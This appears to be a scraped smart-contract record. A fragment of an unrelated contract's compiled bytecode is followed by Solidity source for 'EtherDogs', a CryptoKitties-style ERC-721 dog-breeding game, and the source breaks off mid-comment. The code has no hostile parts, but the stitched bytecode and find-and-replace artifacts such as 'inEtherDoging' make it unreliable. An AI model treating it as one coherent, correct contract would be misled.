001600160a01b0390811691632ca32d7e91166108f385610b2d565b6040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160801b031681526020019250505060206040518083038186803b15801561094057600080fd5b505afa158015610954573d6000803e3d6000fd5b505050506040513d602081101561096a57600080fd5b505192915050565b600081836109fe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109c35781810151838201526020016109ab565b50505050905090810190601f1680156109f05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610a0a57fe5b0495945050505050565b60008184841115610a665760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156109c35781810151838201526020016109ab565b505050900390565b6006546001600160801b0380831691610a8991166001610874565b14610adb576040805162461bcd60e51b815260206004820152601f60248201527f45706f63682063616e20626520696e6974206f6e6c7920696e206f7264657200604482015290519081900360640190fd5b600680546fffffffffffffffffffffffffffffffff19166001600160801b038316179055610b08816108ce565b6004826001600160801b031681548110610b1e57fe5b60009182526020909120015550565b6016019056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220846a50ad0efebf858ee28050eb64e47882c6560e9bbdec9b2f354787f0f7a5ad64736f6c634300060c0033
[ 16 ]
0xf24c63438ae11cb3facb84006f4cfa75458126ed
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } /// @title SEKRETs contract GeneScienceInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isGeneScience() public pure returns (bool); /// @dev given genes of EtherDog 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); } /// @title A facet of EtherDogCore that manages special access privileges. /// @author CybEye (http://www.cybeye.com/us/index.jsp) /// @dev See the EtherDogCore contract documentation to understand how the various contract facets are arranged. contract EtherDogACL { // This facet controls access control for EtherDogs. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the EtherDogCore constructor. // // - The CFO: The CFO can withdraw funds from EtherDogCore and its auction contracts. // // - The COO: The COO can release gen0 EtherDogs to auction, and mint promo dogs. // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn't have the ability to act in those roles. This // restriction is intentional so that we aren't tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } /// @title Base contract for EtherDog. Holds all common structs, events and base variables. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the EtherDogCore contract documentation to understand how the various contract facets are arranged. contract EtherDogBase is EtherDogACL { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new EtherDog comes into existence. This obviously /// includes any time a EtherDog is created through the giveBirth method, but it is also called /// when a new gen0 EtherDog is created. event Birth(address owner, uint256 EtherDogId, uint256 matronId, uint256 sireId, uint256 genes, uint256 generation); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a EtherDog /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main EtherDog struct. Every EtherDog in EtherDog is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct EtherDog { // The EtherDog's genetic code is packed into these 256-bits, the format is // sooper-sekret! A EtherDog's genes never change. uint256 genes; // The timestamp from the block when this EtherDog came into existence. uint64 birthTime; // The minimum timestamp after which this EtherDog can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this EtherDog, set to 0 for gen0 EtherDogs. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion EtherDogs. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won't be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire EtherDog for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a EtherDog // is pregnant. Used to retrieve the genetic material for the new // EtherDog when the birth transpires. uint32 siringWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this EtherDog. This starts at zero // for gen0 EtherDogs, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this EtherDog is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this EtherDog. EtherDogs minted by the CZ contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other EtherDogs is the larger of the two generation // numbers of their parents, plus one. // (i.e. max(matron.generation, sire.generation) + 1) uint16 generation; } /*** CONSTANTS ***/ /// @dev A lookup table inEtherDoging the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a EtherDog /// is bred, encouraging owners not to just keep breeding the same EtherDog over /// and over again. Caps out at one week (a EtherDog can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the EtherDog struct for all EtherDogs in existence. The ID /// of each EtherDog is actually an index into this array. Note that ID 0 is a negaEtherDog, /// the unEtherDog, the mythical beast that is the parent of all gen0 EtherDogs. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, EtherDog ID 0 is invalid... ;-) EtherDog[] EtherDogs; /// @dev A mapping from EtherDog IDs to the address that owns them. All EtherDogs have /// some valid owner address, even gen0 EtherDogs are created with a non-zero owner. mapping (uint256 => address) public EtherDogIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev A mapping from EtherDogIDs to an address that has been approved to call /// transferFrom(). Each EtherDog can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public EtherDogIndexToApproved; /// @dev A mapping from EtherDogIDs to an address that has been approved to use /// this EtherDog for siring via breedWith(). Each EtherDog can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sireAllowedToAddress; /// @dev The address of the ClockAuction contract that handles sales of EtherDogs. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev The address of a custom ClockAuction subclassed contract that handles siring /// auctions. Needs to be separate from saleAuction because the actions taken on success /// after a sales and siring auction are quite different. SiringClockAuction public siringAuction; /// @dev Assigns ownership of a specific EtherDog to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // Since the number of EtherDogs is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; // transfer ownership EtherDogIndexToOwner[_tokenId] = _to; // When creating new EtherDogs _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // once the EtherDog is transferred also clear sire allowances delete sireAllowedToAddress[_tokenId]; // clear any previously approved ownership exchange delete EtherDogIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } /// @dev An internal method that creates a new EtherDog and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The EtherDog ID of the matron of this EtherDog (zero for gen0) /// @param _sireId The EtherDog ID of the sire of this EtherDog (zero for gen0) /// @param _generation The generation number of this EtherDog, must be computed by caller. /// @param _genes The EtherDog's genetic code. /// @param _owner The inital owner of this EtherDog, must be non-zero (except for the unEtherDog, ID 0) function _createEtherDog( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createEtherDog() is already // an expensive call (for storage), and it doesn't hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); // New EtherDog starts with the same cooldown as parent gen/2 uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } EtherDog memory _EtherDog = EtherDog({ genes: _genes, birthTime: uint64(now), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 newEtherDogId = EtherDogs.push(_EtherDog) - 1; // It's probably never going to happen, 4 billion EtherDogs is A LOT, but // let's just be 100% sure we never let this happen. require(newEtherDogId == uint256(uint32(newEtherDogId))); // emit the birth event Birth( _owner, newEtherDogId, uint256(_EtherDog.matronId), uint256(_EtherDog.sireId), _EtherDog.genes, uint256(_EtherDog.generation) ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newEtherDogId); return newEtherDogId; } /// @dev An internal method that creates a new EtherDog and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The EtherDog ID of the matron of this EtherDog (zero for gen0) /// @param _sireId The EtherDog ID of the sire of this EtherDog (zero for gen0) /// @param _generation The generation number of this EtherDog, must be computed by caller. /// @param _genes The EtherDog's genetic code. /// @param _owner The inital owner of this EtherDog, must be non-zero (except for the unEtherDog, ID 0) /// @param _time The birth time of EtherDog /// @param _cooldownIndex The cooldownIndex of EtherDog function _createEtherDogWithTime( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner, uint256 _time, uint256 _cooldownIndex ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createEtherDog() is already // an expensive call (for storage), and it doesn't hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); require(_time == uint256(uint64(_time))); require(_cooldownIndex == uint256(uint16(_cooldownIndex))); // Copy down EtherDog cooldownIndex uint16 cooldownIndex = uint16(_cooldownIndex); if (cooldownIndex > 13) { cooldownIndex = 13; } EtherDog memory _EtherDog = EtherDog({ genes: _genes, birthTime: uint64(_time), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 newEtherDogId = EtherDogs.push(_EtherDog) - 1; // It's probably never going to happen, 4 billion EtherDogs is A LOT, but // let's just be 100% sure we never let this happen. require(newEtherDogId == uint256(uint32(newEtherDogId))); // emit the birth event Birth( _owner, newEtherDogId, uint256(_EtherDog.matronId), uint256(_EtherDog.sireId), _EtherDog.genes, uint256(_EtherDog.generation) ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newEtherDogId); return newEtherDogId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The external contract that is responsible for generating metadata for the EtherDogs, /// it has one function that will return the data as bytes. contract ERC721Metadata { /// @dev Given a token Id, returns a byte array that is supposed to be converted into string. function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } /// @title The facet of the EtherDogs core contract that manages ownership, ERC-721 (draft) compliant. /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the EtherDogCore contract documentation to understand how the various contract facets are arranged. contract EtherDogOwnership is EtherDogBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "EtherDogs"; string public constant symbol = "EDOG"; // The contract that will return EtherDog metadata ERC721Metadata public erc721Metadata; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Set the address of the sibling contract that tracks metadata. /// CEO only. function setMetadataAddress(address _contractAddress) public onlyCEO { erc721Metadata = ERC721Metadata(_contractAddress); } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular EtherDog. /// @param _claimant the address we are validating against. /// @param _tokenId EtherDog id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return EtherDogIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular EtherDog. /// @param _claimant the address we are confirming EtherDog is approved for. /// @param _tokenId EtherDog id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return EtherDogIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting EtherDogs on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { EtherDogIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of EtherDogs owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a EtherDog to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// EtherDogs specifically) or your EtherDog may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the EtherDog to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any EtherDogs (except very briefly // after a gen0 dog is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the auction contracts to prevent accidental // misuse. Auction contracts should only take ownership of EtherDogs // through the allow + transferFrom flow. require(_to != address(saleAuction)); require(_to != address(siringAuction)); // You can only send your own dog. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific EtherDog via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the EtherDog that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a EtherDog owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the EtherDog to be transfered. /// @param _to The address that should take ownership of the EtherDog. Can be any address, /// including the caller. /// @param _tokenId The ID of the EtherDog to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any EtherDogs (except very briefly // after a gen0 dog is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of EtherDogs currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return EtherDogs.length - 1; } /// @notice Returns the address currently assigned ownership of a given EtherDog. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = EtherDogIndexToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all EtherDog IDs assigned to an address. /// @param _owner The owner whose EtherDogs we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire EtherDog array looking for dogs belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalDogs = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all dogs have IDs starting at 1 and increasing // sequentially up to the totalDog count. uint256 dogId; for (dogId = 1; dogId <= totalDogs; dogId++) { if (EtherDogIndexToOwner[dogId] == _owner) { result[resultIndex] = dogId; resultIndex++; } } return result; } } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private view { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) { var outputString = new string(_stringLength); uint256 outputPtr; uint256 bytesPtr; assembly { outputPtr := add(outputString, 32) bytesPtr := _rawBytes } _memcpy(outputPtr, bytesPtr, _stringLength); return outputString; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the EtherDog whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { require(erc721Metadata != address(0)); bytes32[4] memory buffer; uint256 count; (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); return _toString(buffer, count); } } /// @title A facet of EtherDogCore that manages EtherDog siring, gestation, and birth. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the EtherDogCore contract documentation to understand how the various contract facets are arranged. contract EtherDogBreeding is EtherDogOwnership { /// @dev The Pregnant event is fired when two dogs successfully breed and the pregnancy /// timer begins for the matron. event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 matronCooldownEndBlock, uint256 sireCooldownEndBlock); /// @notice The minimum payment required to use breedWithAuto(). This fee goes towards /// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by /// the COO role as the gas price changes. uint256 public autoBirthFee = 2 finney; // Keeps track of number of pregnant EtherDogs. uint256 public pregnantEtherDogs; /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneScienceInterface public geneScience; /// @dev Update the address of the genetic contract, can only be called by the CEO. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneScience()); // Set the new contract address geneScience = candidateContract; } /// @dev Checks that a given EtherDog is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToBreed(EtherDog _dog) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the dog has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_dog.siringWithId == 0) && (_dog.cooldownEndBlock <= uint64(block.number)); } /// @dev Check if a sire has authorized breeding with this matron. True if both sire /// and matron have the same owner, or if the sire has given siring permission to /// the matron's owner (via approveSiring()). function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = EtherDogIndexToOwner[_matronId]; address sireOwner = EtherDogIndexToOwner[_sireId]; // Siring is okay if they have same owner, or if the matron's owner was given // permission to breed with this sire. return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner); } /// @dev Set the cooldownEndTime for the given EtherDog, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _dog A reference to the EtherDog in storage which needs its timer started. function _triggerCooldown(EtherDog storage _dog) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _dog.cooldownEndBlock = uint64((cooldowns[_dog.cooldownIndex]/secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_dog.cooldownIndex < 13) { _dog.cooldownIndex += 1; } } /// @notice Grants approval to another user to sire with one of your EtherDogs. /// @param _addr The address that will be able to sire with your EtherDog. Set to /// address(0) to clear all siring approvals for this EtherDog. /// @param _sireId A EtherDog that you own that _addr will now be able to sire with. function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); sireAllowedToAddress[_sireId] = _addr; } /// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only /// be called by the COO address. (This fee is used to offset the gas cost incurred /// by the autobirth daemon). function setAutoBirthFee(uint256 val) external onlyCOO { autoBirthFee = val; } /// @dev Checks to see if a given EtherDog is pregnant and (if so) if the gestation /// period has passed. function _isReadyToGiveBirth(EtherDog _matron) private view returns (bool) { return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given EtherDog is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _EtherDogId reference the id of the EtherDog, any user can inquire about it function isReadyToBreed(uint256 _EtherDogId) public view returns (bool) { require(_EtherDogId > 0); EtherDog storage kit = EtherDogs[_EtherDogId]; return _isReadyToBreed(kit); } /// @dev Checks whether a EtherDog is currently pregnant. /// @param _EtherDogId reference the id of the EtherDog, any user can inquire about it function isPregnant(uint256 _EtherDogId) public view returns (bool) { require(_EtherDogId > 0); // A EtherDog is pregnant if and only if this field is set return EtherDogs[_EtherDogId].siringWithId != 0; } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the EtherDog struct of the potential matron. /// @param _matronId The matron's ID. /// @param _sire A reference to the EtherDog struct of the potential sire. /// @param _sireId The sire's ID function _isValidMatingPair( EtherDog storage _matron, uint256 _matronId, EtherDog storage _sire, uint256 _sireId ) private view returns(bool) { // A EtherDog can't breed with itself! if (_matronId == _sireId) { return false; } // EtherDogs can't breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either dog is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // EtherDogs can't breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let's get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { EtherDog storage matron = EtherDogs[_matronId]; EtherDog storage sire = EtherDogs[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } /// @notice Checks to see if two dogs can breed together, including checks for /// ownership and siring approvals. Does NOT check that both dogs are ready for /// breeding (i.e. breedWith could still fail until the cooldowns are finished). /// TODO: Shouldn't this check pregnancy and cooldowns?!? /// @param _matronId The ID of the proposed matron. /// @param _sireId The ID of the proposed sire. function canBreedWith(uint256 _matronId, uint256 _sireId) external view returns(bool) { require(_matronId > 0); require(_sireId > 0); EtherDog storage matron = EtherDogs[_matronId]; EtherDog storage sire = EtherDogs[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId) && _isSiringPermitted(_sireId, _matronId); } /// @dev Internal utility function to initiate breeding, assumes that all breeding /// requirements have been checked. function _breedWith(uint256 _matronId, uint256 _sireId) internal { // Grab a reference to the EtherDogs from storage. EtherDog storage sire = EtherDogs[_sireId]; EtherDog storage matron = EtherDogs[_matronId]; // Mark the matron as pregnant, keeping track of who the sire is. matron.siringWithId = uint32(_sireId); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerCooldown(matron); // Clear siring permission for both parents. This may not be strictly necessary // but it's likely to avoid confusion! delete sireAllowedToAddress[_matronId]; delete sireAllowedToAddress[_sireId]; // Every time a EtherDog gets pregnant, counter is incremented. pregnantEtherDogs++; // Emit the pregnancy event. Pregnant(EtherDogIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock, sire.cooldownEndBlock); } /// @notice Breed a EtherDog you own (as matron) with a sire that you own, or for which you /// have previously been given Siring approval. Will either make your dog pregnant, or will /// fail 